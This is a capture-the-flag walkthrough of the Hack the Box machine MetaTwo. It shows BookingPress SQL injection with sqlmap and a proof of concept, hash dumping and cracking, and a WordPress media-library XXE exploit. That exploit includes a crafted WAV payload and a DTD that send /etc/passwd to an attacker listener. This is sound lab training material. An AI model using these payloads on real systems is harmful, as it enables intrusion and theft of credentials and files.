Hack the Box: MetaTwo Walkthrough
Machine Stats
Name
MetaTwo
OS
Linux
Rating
Easy
Enumeration
I started by running my standard nmap scan.
Nmap scan report for 10.129.67.186
Host is up (0.044s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp?
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 c4b44617d2102d8fec1dc927fecd79ee (RSA)
| 256 2aea2fcb23e8c529409cab866dcd4411 (ECDSA)
|_ 256 fd78c0b0e22016fa050debd83f12a4ab (ED25519)
80/tcp open http nginx 1.18.0
|_http-title: Did not follow redirect to http://metapress.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 237.26 secondsSeeing that we have port 80 open, I started a feroxbuster scan to see what shakes out.
└─$ feroxbuster --url http://10.129.67.186 1 ⨯
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.7.1
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.129.67.186
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.7.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
WLD GET 7l 9w 145c Got 302 for http://10.129.67.186/13318527ceab47d486a5f9be69251fca (url length: 32)
WLD - - - http://10.129.67.186/13318527ceab47d486a5f9be69251fca => http://metapress.htb/
WLD GET - - - Wildcard response is static; auto-filtering 145 responses; toggle this behavior by using --dont-filter
WLD GET 7l 9w 145c Got 302 for http://10.129.67.186/199ff3be42ed406c9112b431a7d2e6071fee29e4bbf04e5a811f9f86a6cf9acfc1bcbdc349ae484c935a4789b1b2eeac (url length: 96)
WLD - - - http://10.129.67.186/199ff3be42ed406c9112b431a7d2e6071fee29e4bbf04e5a811f9f86a6cf9acfc1bcbdc349ae484c935a4789b1b2eeac => http://metapress.htb/I notice references to a URL called metapress.htb- I will modify /etc/hosts and add an entry for this instance’s IP address and this hostname. Following this, I visit the metapress.htb site in the browser.
Reading the welcome post, it seems like they are directing you to a page at /events
Because we have a WordPress site, I decided to scan it with wpscan to enumerate users and start looking at vulnerabilities.
└─$ wpscan --url http://metapress.htb -e --api-token XXXXXX _______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.22
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]y
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://metapress.htb/ [10.129.67.186]
[+] Started: Tue Nov 1 19:42:28 2022
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: nginx/1.18.0
| - X-Powered-By: PHP/8.0.24
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] robots.txt found: http://metapress.htb/robots.txt
| Interesting Entries:
| - /wp-admin/
| - /wp-admin/admin-ajax.php
| Found By: Robots Txt (Aggressive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://metapress.htb/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/
[+] WordPress readme found: http://metapress.htb/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://metapress.htb/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.6.2 identified (Insecure, released on 2021-02-22).
| Found By: Rss Generator (Passive Detection)
| - http://metapress.htb/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
| - http://metapress.htb/comments/feed/, <generator>https://wordpress.org/?v=5.6.2</generator>
|
| [!] 28 vulnerabilities identified:
|
| [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
| Fixed in: 5.6.3
| References:
| - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
| - https://core.trac.wordpress.org/changeset/29378
| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
| - https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
| - https://hackerone.com/reports/1095645
| - https://www.youtube.com/watch?v=3NBxcmqCgt4
|
| [!] Title: WordPress 4.7-5.7 - Authenticated Password Protected Pages Exposure
| Fixed in: 5.6.3
| References:
| - https://wpscan.com/vulnerability/6a3ec618-c79e-4b9c-9020-86b157458ac5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29450
| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pmmh-2f36-wvhq
| - https://core.trac.wordpress.org/changeset/50717/
| - https://www.youtube.com/watch?v=J2GXmxAdNWs
|
| [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer
| Fixed in: 5.6.4
| References:
| - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296
| - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62
| - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/
| - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
| - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/
| - https://www.youtube.com/watch?v=HaW15aMzBUM
|
| [!] Title: WordPress 5.4 to 5.8 - Lodash Library Update
| Fixed in: 5.6.5
| References:
| - https://wpscan.com/vulnerability/5d6789db-e320-494b-81bb-e678674f4199
| - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/
| - https://github.com/lodash/lodash/wiki/Changelog
| - https://github.com/WordPress/wordpress-develop/commit/fb7ecd92acef6c813c1fde6d9d24a21e02340689
|
| [!] Title: WordPress 5.4 to 5.8 - Authenticated XSS in Block Editor
| Fixed in: 5.6.5
| References:
| - https://wpscan.com/vulnerability/5b754676-20f5-4478-8fd3-6bc383145811
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39201
| - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-wh69-25hr-h94v
|
| [!] Title: WordPress 5.4 to 5.8 - Data Exposure via REST API
| Fixed in: 5.6.5
| References:
| - https://wpscan.com/vulnerability/38dd7e87-9a22-48e2-bab1-dc79448ecdfb
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-39200
| - https://wordpress.org/news/2021/09/wordpress-5-8-1-security-and-maintenance-release/
| - https://github.com/WordPress/wordpress-develop/commit/ca4765c62c65acb732b574a6761bf5fd84595706
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-m9hc-7v5q-x8q5
|
| [!] Title: WordPress < 5.8.2 - Expired DST Root CA X3 Certificate
| Fixed in: 5.6.6
| References:
| - https://wpscan.com/vulnerability/cc23344a-5c91-414a-91e3-c46db614da8d
| - https://wordpress.org/news/2021/11/wordpress-5-8-2-security-and-maintenance-release/
| - https://core.trac.wordpress.org/ticket/54207
|
| [!] Title: WordPress < 5.8 - Plugin Confusion
| Fixed in: 5.8
| References:
| - https://wpscan.com/vulnerability/95e01006-84e4-4e95-b5d7-68ea7b5aa1a8
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44223
| - https://vavkamil.cz/2021/11/25/wordpress-plugin-confusion-update-can-get-you-pwned/
|
| [!] Title: WordPress < 5.8.3 - SQL Injection via WP_Query
| Fixed in: 5.6.7
| References:
| - https://wpscan.com/vulnerability/7f768bcf-ed33-4b22-b432-d1e7f95c1317
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21661
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-6676-cqfm-gw84
| - https://hackerone.com/reports/1378209
|
| [!] Title: WordPress < 5.8.3 - Author+ Stored XSS via Post Slugs
| Fixed in: 5.6.7
| References:
| - https://wpscan.com/vulnerability/dc6f04c2-7bf2-4a07-92b5-dd197e4d94c8
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21662
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-699q-3hj9-889w
| - https://hackerone.com/reports/425342
| - https://blog.sonarsource.com/wordpress-stored-xss-vulnerability
|
| [!] Title: WordPress 4.1-5.8.2 - SQL Injection via WP_Meta_Query
| Fixed in: 5.6.7
| References:
| - https://wpscan.com/vulnerability/24462ac4-7959-4575-97aa-a6dcceeae722
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21664
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jp3p-gw8h-6x86
|
| [!] Title: WordPress < 5.8.3 - Super Admin Object Injection in Multisites
| Fixed in: 5.6.7
| References:
| - https://wpscan.com/vulnerability/008c21ab-3d7e-4d97-b6c3-db9d83f390a7
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-21663
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-jmmq-m8p8-332h
| - https://hackerone.com/reports/541469
|
| [!] Title: WordPress < 5.9.2 - Prototype Pollution in jQuery
| Fixed in: 5.6.8
| References:
| - https://wpscan.com/vulnerability/1ac912c1-5e29-41ac-8f76-a062de254c09
| - https://wordpress.org/news/2022/03/wordpress-5-9-2-security-maintenance-release/
|
| [!] Title: WP < 6.0.2 - Reflected Cross-Site Scripting
| Fixed in: 5.6.9
| References:
| - https://wpscan.com/vulnerability/622893b0-c2c4-4ee7-9fa1-4cecef6e36be
| - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
|
| [!] Title: WP < 6.0.2 - Authenticated Stored Cross-Site Scripting
| Fixed in: 5.6.9
| References:
| - https://wpscan.com/vulnerability/3b1573d4-06b4-442b-bad5-872753118ee0
| - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
|
| [!] Title: WP < 6.0.2 - SQLi via Link API
| Fixed in: 5.6.9
| References:
| - https://wpscan.com/vulnerability/601b0bf9-fed2-4675-aec7-fed3156a022f
| - https://wordpress.org/news/2022/08/wordpress-6-0-2-security-and-maintenance-release/
|
| [!] Title: WP < 6.0.3 - Stored XSS via wp-mail.php
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/713bdc8b-ab7c-46d7-9847-305344a579c4
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/abf236fdaf94455e7bc6e30980cf70401003e283
|
| [!] Title: WP < 6.0.3 - Open Redirect via wp_nonce_ays
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/926cd097-b36f-4d26-9c51-0dfab11c301b
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/506eee125953deb658307bb3005417cb83f32095
|
| [!] Title: WP < 6.0.3 - Email Address Disclosure via wp-mail.php
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/c5675b59-4b1d-4f64-9876-068e05145431
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/5fcdee1b4d72f1150b7b762ef5fb39ab288c8d44
|
| [!] Title: WP < 6.0.3 - Reflected XSS via SQLi in Media Library
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/cfd8b50d-16aa-4319-9c2d-b227365c2156
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/8836d4682264e8030067e07f2f953a0f66cb76cc
|
| [!] Title: WP < 6.0.3 - CSRF in wp-trackback.php
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/b60a6557-ae78-465c-95bc-a78cf74a6dd0
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/a4f9ca17fae0b7d97ff807a3c234cf219810fae0
|
| [!] Title: WP < 6.0.3 - Stored XSS via the Customizer
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/2787684c-aaef-4171-95b4-ee5048c74218
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/2ca28e49fc489a9bb3c9c9c0d8907a033fe056ef
|
| [!] Title: WP < 6.0.3 - Stored XSS via Comment Editing
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/02d76d8e-9558-41a5-bdb6-3957dc31563b
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/89c8f7919460c31c0f259453b4ffb63fde9fa955
|
| [!] Title: WP < 6.0.3 - Content from Multipart Emails Leaked
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/3f707e05-25f0-4566-88ed-d8d0aff3a872
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/3765886b4903b319764490d4ad5905bc5c310ef8
|
| [!] Title: WP < 6.0.3 - SQLi in WP_Date_Query
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/1da03338-557f-4cb6-9a65-3379df4cce47
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/d815d2e8b2a7c2be6694b49276ba3eee5166c21f
|
| [!] Title: WP < 6.0.3 - Stored XSS via RSS Widget
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/58d131f5-f376-4679-b604-2b888de71c5b
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/929cf3cb9580636f1ae3fe944b8faf8cca420492
|
| [!] Title: WP < 6.0.3 - Data Exposure via REST Terms/Tags Endpoint
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/b27a8711-a0c0-4996-bd6a-01734702913e
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/wordpress-develop/commit/ebaac57a9ac0174485c65de3d32ea56de2330d8e
|
| [!] Title: WP < 6.0.3 - Multiple Stored XSS via Gutenberg
| Fixed in: 5.6.10
| References:
| - https://wpscan.com/vulnerability/f513c8f6-2e1c-45ae-8a58-36b6518e2aa9
| - https://wordpress.org/news/2022/10/wordpress-6-0-3-security-release/
| - https://github.com/WordPress/gutenberg/pull/45045/files
[+] WordPress theme in use: twentytwentyone
| Location: http://metapress.htb/wp-content/themes/twentytwentyone/
| Last Updated: 2022-05-24T00:00:00.000Z
| Readme: http://metapress.htb/wp-content/themes/twentytwentyone/readme.txt
| [!] The version is out of date, the latest version is 1.6
| Style URL: http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1
| Style Name: Twenty Twenty-One
| Style URI: https://wordpress.org/themes/twentytwentyone/
| Description: Twenty Twenty-One is a blank canvas for your ideas and it makes the block editor your best brush. Wi...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
| Confirmed By: Css Style In 404 Page (Passive Detection)
|
| Version: 1.1 (80% confidence)
| Found By: Style (Passive Detection)
| - http://metapress.htb/wp-content/themes/twentytwentyone/style.css?ver=1.1, Match: 'Version: 1.1'
[+] Enumerating Vulnerable Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Vulnerable Themes (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:07 <=====================================================================================================> (477 / 477) 100.00% Time: 00:00:07
[+] Checking Theme Versions (via Passive and Aggressive Methods)
[i] No themes Found.
[+] Enumerating Timthumbs (via Passive and Aggressive Methods)
Checking Known Locations - Time: 00:00:35 <===================================================================================================> (2575 / 2575) 100.00% Time: 00:00:35
[i] No Timthumbs Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:02 <======================================================================================================> (137 / 137) 100.00% Time: 00:00:02
[i] No Config Backups Found.
[+] Enumerating DB Exports (via Passive and Aggressive Methods)
Checking DB Exports - Time: 00:00:01 <============================================================================================================> (71 / 71) 100.00% Time: 00:00:01
[i] No DB Exports Found.
[+] Enumerating Medias (via Passive and Aggressive Methods) (Permalink setting must be set to "Plain" for those to be detected)
Brute Forcing Attachment IDs - Time: 00:00:01 <=================================================================================================> (100 / 100) 100.00% Time: 00:00:01
[i] No Medias Found.
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <=======================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://metapress.htb/wp-json/wp/v2/users/?per_page=100&page=1
| Rss Generator (Aggressive Detection)
| Author Sitemap (Aggressive Detection)
| - http://metapress.htb/wp-sitemap-users-1.xml
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] manager
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] WPScan DB API OK
| Plan: free
| Requests Done (during the scan): 2
| Requests Remaining: 73
[+] Finished: Tue Nov 1 19:43:24 2022
[+] Requests Done: 3430
[+] Cached Requests: 11
[+] Data Sent: 1.055 MB
[+] Data Received: 20.14 MB
[+] Memory used: 296.371 MB
[+] Elapsed time: 00:00:55On the /events page, I viewed the page’s source code in the browser and discovered several references to a WordPress plugin called bookingpress along with a version number.
<link rel='stylesheet' id='bookingpress_element_css-css' href='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/bookingpress_element_theme.css?ver=1.0.10' media='all' />
<link rel='stylesheet' id='bookingpress_fonts_css-css' href='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/fonts/fonts.css?ver=1.0.10' media='all' />
<link rel='stylesheet' id='bookingpress_front_css-css' href='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/bookingpress_front.css?ver=1.0.10' media='all' />
<link rel='stylesheet' id='bookingpress_tel_input-css' href='http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/css/bookingpress_tel_input.css?ver=1.0.10' media='all' />After doing some research into the bookingpress plugin and version number, I found:
- a SQL injection vulnerability: BookingPress < 1.0.11 – Unauthenticated SQL Injection.
- A proof of concept python script here.
I spent a long while trying to use curl and sqlmap together to get something working with the vulnerability.
└─$ sqlmap --dbms=mysql -u "http://metapress.htb/wp-admin/admin-ajax.php" --data 'action=bookingpress_front_get_category_services&_wpnonce=bf38a32c79&category_id=33&total_service=-7502)'
___
__H__
___ ___[,]_____ ___ ___ {1.6.10#stable}
|_ -| . ['] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 20:14:35 /2022-11-01/
it appears that provided value for POST parameter 'total_service' has boundaries. Do you want to inject inside? ('-7502*)') [y/N]
[20:14:41] [INFO] testing connection to the target URL
[20:14:41] [INFO] checking if the target is protected by some kind of WAF/IPS
[20:14:42] [INFO] testing if the target URL content is stable
[20:14:42] [INFO] target URL content is stable
...
...
[20:15:12] [INFO] POST parameter 'total_service' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectableAfter having some issues with sqlmap freezing I turned back to the Python PoC code I found on GitHub.
└─$ python3 booking-press-exp.py --url http://metapress.htb --nonce bf38a32c79 2 ⨯
- BookingPress PoC
-- Got db fingerprint: 10.5.15-MariaDB-0+deb11u1
-- Count of users: 2
|admin|[email protected]|$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.|
|manager|[email protected]|$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70|I then ran hashcat against the two passwords hashes to see which one would work.
└─$ hashcat -a 0 -m 400 wordpress.txt /usr/share/wordlists/rockyou.txt 255 ⨯
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.0+debian Linux, None+Asserts, RELOC, LLVM 13.0.1, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
* Device #1: pthread-Intel(R) Core(TM) i7-4770 CPU @ 3.40GHz, 2904/5872 MB (1024 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 2 digests; 2 unique digests, 2 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 1 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70:partylikearockstarNow, I try to login to the metapress.htb website with the credentials we just found.
And…. while we are in, it looks like we have limited access to only a few areas strangely enough, namely the profile and media library menus.
User Account
After spending a while trying to look for ways to get something good out of the wordpress site, I went back and re-reviewed the info that we got earlier in the wpscan output. Two items stood out to me as I started narrowing down the list of possibilities.
| [!] Title: WordPress 5.6-5.7 - Authenticated XXE Within the Media Library Affecting PHP 8
| Fixed in: 5.6.3
| References:
| - https://wpscan.com/vulnerability/cbbe6c17-b24e-4be4-8937-c78472a138b5
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29447
| - https://wordpress.org/news/2021/04/wordpress-5-7-1-security-and-maintenance-release/
| - https://core.trac.wordpress.org/changeset/29378
| - https://blog.wpscan.com/2021/04/15/wordpress-571-security-vulnerability-release.html
| - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-rv47-pc52-qrhh
| - https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
| - https://hackerone.com/reports/1095645
| - https://www.youtube.com/watch?v=3NBxcmqCgt4
|
| [!] Title: WordPress 3.7 to 5.7.1 - Object Injection in PHPMailer
| Fixed in: 5.6.4
| References:
| - https://wpscan.com/vulnerability/4cd46653-4470-40ff-8aac-318bee2f998d
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-36326
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19296
| - https://github.com/WordPress/WordPress/commit/267061c9595fedd321582d14c21ec9e7da2dcf62
| - https://wordpress.org/news/2021/05/wordpress-5-7-2-security-release/
| - https://github.com/PHPMailer/PHPMailer/commit/e2e07a355ee8ff36aba21d0242c5950c56e4c6f9
| - https://www.wordfence.com/blog/2021/05/wordpress-5-7-2-security-release-what-you-need-to-know/
| - https://www.youtube.com/watch?v=HaW15aMzBUMThe XXE vulnerability looks interesting because as the manager user, it looks like we have access to the media library area of the site and the rest of the possible menu items have been severely limited otherwise. Which is probably a hint that this is the right direction. I found a quick video and corresponding tryhackme page explaining the vulnerability in question.
- https://www.youtube.com/watch?v=tE8Smz1Jvb8
- https://tryhackme.com/room/wordpresscve202129447
Now, to get started, I create a payload.wav file:
└─$ echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://10.10.16.36:8080/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wavNext, I created a poc.dtd file with the below content:
└─$ cat poc.dtd
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://10.10.16.36:8080/?p=%file;'>" >Now, start up a local php listener:
└─$ php -S 0.0.0.0:8080
[Tue Nov 1 22:23:34 2022] PHP 8.1.7 Development Server (http://0.0.0.0:8080) startedUpload the payload.wav file into the WordPress media library. As soon as the upload happened…
[Tue Nov 1 22:23:38 2022] 10.129.67.186:59658 Accepted
[Tue Nov 1 22:23:38 2022] 10.129.67.186:59658 [200]: GET /NAMEEVIL.dtd
[Tue Nov 1 22:23:38 2022] 10.129.67.186:59658 Closing
[Tue Nov 1 22:23:39 2022] 10.129.67.186:59662 Accepted
[Tue Nov 1 22:23:39 2022] 10.129.67.186:59662 [404]: GET /?p=jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw== - No such file or directoryIn order to decode the value of p=, I used the following:
└─$ php -r 'echo zlib_decode(base64_decode("jVRNj5swEL3nV3BspUSGkGSDj22lXjaVuum9MuAFusamNiShv74zY8gmgu5WHtB8vHkezxisMS2/8BCWRZX5d1pplgpXLnIha6MBEcEaDNY5yxxAXjWmjTJFpRfovfA1LIrPg1zvABTDQo3l8jQL0hmgNny33cYbTiYbSRmai0LUEpm2fBdybxDPjXpHWQssbsejNUeVnYRlmchKycic4FUD8AdYoBDYNcYoppp8lrxSAN/DIpUSvDbBannGuhNYpN6Qe3uS0XUZFhOFKGTc5Hh7ktNYc+kxKUbx1j8mcj6fV7loBY4lRrk6aBuw5mYtspcOq4LxgAwmJXh97iCqcnjh4j3KAdpT6SJ4BGdwEFoU0noCgk2zK4t3Ik5QQIc52E4zr03AhRYttnkToXxFK/jUFasn2Rjb4r7H3rWyDj6IvK70x3HnlPnMmbmZ1OTYUn8n/XtwAkjLC5Qt9VzlP0XT0gDDIe29BEe15Sst27OxL5QLH2G45kMk+OYjQ+NqoFkul74jA+QNWiudUSdJtGt44ivtk4/Y/yCDz8zB1mnniAfuWZi8fzBX5gTfXDtBu6B7iv6lpXL+DxSGoX8NPiqwNLVkI+j1vzUes62gRv8nSZKEnvGcPyAEN0BnpTW6+iPaChneaFlmrMy7uiGuPT0j12cIBV8ghvd3rlG9+63oDFseRRE/9Mfvj8FR2rHPdy3DzGehnMRP+LltfLt2d+0aI9O9wE34hyve2RND7xT7Fw=="));'Which yielded:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
